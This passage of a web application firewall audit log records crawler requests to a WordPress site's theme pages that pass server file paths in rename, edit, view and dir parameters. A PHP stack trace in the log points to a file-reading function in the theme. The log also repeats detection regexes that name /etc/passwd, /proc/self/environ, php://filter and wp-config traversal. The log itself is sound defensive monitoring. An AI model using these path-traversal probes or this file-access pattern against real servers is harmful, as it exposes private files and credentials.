\"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ja/LC_MESSAGES/elfutils.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":293,"p2":6048,"p3":0,"p4":0,"p5":341,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:30:24.648237 +0100","transaction_id":"abO9EHsHYJTEh6bQs5Z2iwAAAdc","remote_address":"57.141.20.44","remote_port":33378,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=/sftproot/htdocs/sivaco/.git/objects/8b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.44","X-Forwarded-Proto":"https","X-Request-Id":"b8b16ae5e822e8b832e474057d67a8cf","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11503562"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b8b16ae5e822e8b832e474057d67a8cf","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?dir=/sftproot/htdocs/sivaco/.git/objects/8b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":254,"p2":5356,"p3":0,"p4":0,"p5":2033,"sr":140,"sw":0,"l":0,"gc":1720},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:30:50.497103 +0100","transaction_id":"abO9KnsHYJTEh6bQs5Z3CAAAAc0","remote_address":"57.141.20.7","remote_port":43006,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=/usr/base/usr/share/terminfo/n/nsterm%20c41 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"8cabd3bdfbdf9b83974fb7d69b92d627","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12550918"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"8cabd3bdfbdf9b83974fb7d69b92d627","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught ValueError: Path cannot be empty in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php:180\\\\nStack trace:\\\\n#0 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(180): file_get_contents('')\\\\n#1 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(232): editFile(false)\\\\n#2 /htdocs/ptso.jmkconsulting-ci.com/wp-includes/template-loader.php(132): include('/htdocs/ptso.jm...')\\\\n#3 /htdocs/ptso.jmkconsulting-ci.com/wp-blog-header.php(19): require_once('/htdocs/ptso.jm...')\\\\n#4 /htdocs/ptso.jmkconsulting-ci.com/index.php(17): require('/htdocs/ptso.jm...')\\\\n#5 {main}\\\\n  thrown in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php on line 180'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":327,"p2":6459,"p3":0,"p4":0,"p5":374,"sr":127,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:31:00.113459 +0100","transaction_id":"abO9M3sHYJTEh6bQs5Z3FwAAAdM","remote_address":"57.141.20.6","remote_port":44468,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e1/9171a8664cc9c0262158f35bd1432177b253bd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"a27fdc14ac85992121a64bcd01c29cfb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12222962"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a27fdc14ac85992121a64bcd01c29cfb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e1/9171a8664cc9c0262158f35bd1432177b253bd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":307,"p2":6482,"p3":0,"p4":0,"p5":422,"sr":181,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:32:32.034578 +0100","transaction_id":"abO9jyk_5SD0eS8y3KR-zQAAAAA","remote_address":"57.141.20.59","remote_port":35252,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/ar_BH.utf8/LC_NUMERIC HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.59","X-Forwarded-Proto":"https","X-Request-Id":"2d8eba7ba50010cbc0661edc24eb9ac6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10423052"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2d8eba7ba50010cbc0661edc24eb9ac6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/ar_BH.utf8/LC_NUMERIC||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":211,"p2":4188,"p3":0,"p4":0,"p5":312,"sr":115,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:32:36.452828 +0100","transaction_id":"abO9lJCVIEHEFrDx8RJqMAAAAk0","remote_address":"57.141.20.5","remote_port":33922,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/themes/hueman/hueman.3.7.3.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.5","X-Forwarded-Proto":"https","X-Request-Id":"7bf8054b022ce43f1f51ddc036f6f06c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10423067"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7bf8054b022ce43f1f51ddc036f6f06c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/hueman/hueman.3.7.3.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":283,"p2":6231,"p3":0,"p4":0,"p5":333,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:32:38.309743 +0100","transaction_id":"abO9linav9e7k7pbcxl3vgAAAhQ","remote_address":"57.141.20.28","remote_port":59096,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/creative-addons-for-elementor/creative-addons-for-elementor.1.7.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"b5be4fad1338668f0228bf57d1bed08e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6719100"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b5be4fad1338668f0228bf57d1bed08e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/creative-addons-for-elementor/creative-addons-for-elementor.1.7.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":256,"p2":4671,"p3":0,"p4":0,"p5":219,"sr":102,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:32:40.331361 +0100","transaction_id":"abO9mCnav9e7k7pbcxl3wAAAAhQ","remote_address":"57.141.20.47","remote_port":59096,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/JMKFilamentDB/.git/objects/f6/8b882482b427c438993c1547f2dc2239d326fc HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"903edca8683eece4a89237e208bebc4e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6719103"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"903edca8683eece4a89237e208bebc4e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/jmkfilamentdb/.git/objects/f6/8b882482b427c438993c1547f2dc2239d326fc||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":277,"p2":4094,"p3":0,"p4":0,"p5":284,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:32:42.556003 +0100","transaction_id":"abO9mnsHYJTEh6bQs5Z4AwAAAcw","remote_address":"57.141.20.40","remote_port":58386,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/sassy-social-share/sassy-social-share.3.3.74.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"56db96f1f27d0b126c31bc9bd3f83342","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7409265"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"56db96f1f27d0b126c31bc9bd3f83342","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/sassy-social-share/sassy-social-share.3.3.74.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":193,"p2":3882,"p3":0,"p4":0,"p5":211,"sr":100,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:33:28.472329 +0100","transaction_id":"abO9yJCVIEHEFrDx8RJq4wAAAlg","remote_address":"57.141.20.43","remote_port":46500,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wp-super-cache/wp-super-cache.2.0.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"9d0587c0e972062d4594303fd8d977b9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9471053"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9d0587c0e972062d4594303fd8d977b9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wp-super-cache/wp-super-cache.2.0.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":276,"p2":5297,"p3":0,"p4":0,"p5":299,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:37:35.919378 +0100","transaction_id":"abO-v5CVIEHEFrDx8RJtjwAAAlc","remote_address":"114.119.150.95","remote_port":54576,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/98338051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"3d77ca127afbcde90bf3518c1a7e928d","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"232530","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"3d77ca127afbcde90bf3518c1a7e928d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":184,"p2":3748,"p3":0,"p4":0,"p5":202,"sr":112,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:40:02.207699 +0100","transaction_id":"abO_Uinav9e7k7pbcxl7agAAAhQ","remote_address":"95.111.251.26","remote_port":59292,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /.well-known HTTP/1.1","headers":{"Host":"jmkconsulting-ci.com","X-Real-IP":"95.111.251.26","X-Forwarded-Proto":"https","X-Request-Id":"0ae8f165c1d02c31bf2a3287e15e3aa1","X-L-Admin-Auth":"0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36","Accept-Language":"en-US,en;q=0.9,fr;q=0.8","referer":"binance.com","Upgrade-Insecure-Requests":"1","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1150828","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":404,"headers":{"Cache-Control":"no-cache, private","X-Orig-Rid":"0ae8f165c1d02c31bf2a3287e15e3aa1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Match of \"pm .thumbswysiwyg/ .thumbs/ .well-known/ /.jpg\" against \"MATCHED_VAR\" required. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"226\"] [id \"77350309\"] [msg \"IM360 WAF: Hidden file access||RSV:7.71||T:APACHE||QS:||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":243,"p2":3266,"p3":0,"p4":0,"p5":290,"sr":100,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:40:14.610294 +0100","transaction_id":"abO_Xinav9e7k7pbcxl7gAAAAgQ","remote_address":"114.119.142.37","remote_port":50982,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/77892851 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"4318d5e81c81f071fd16c0c168ca724d","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3475958","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"4318d5e81c81f071fd16c0c168ca724d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 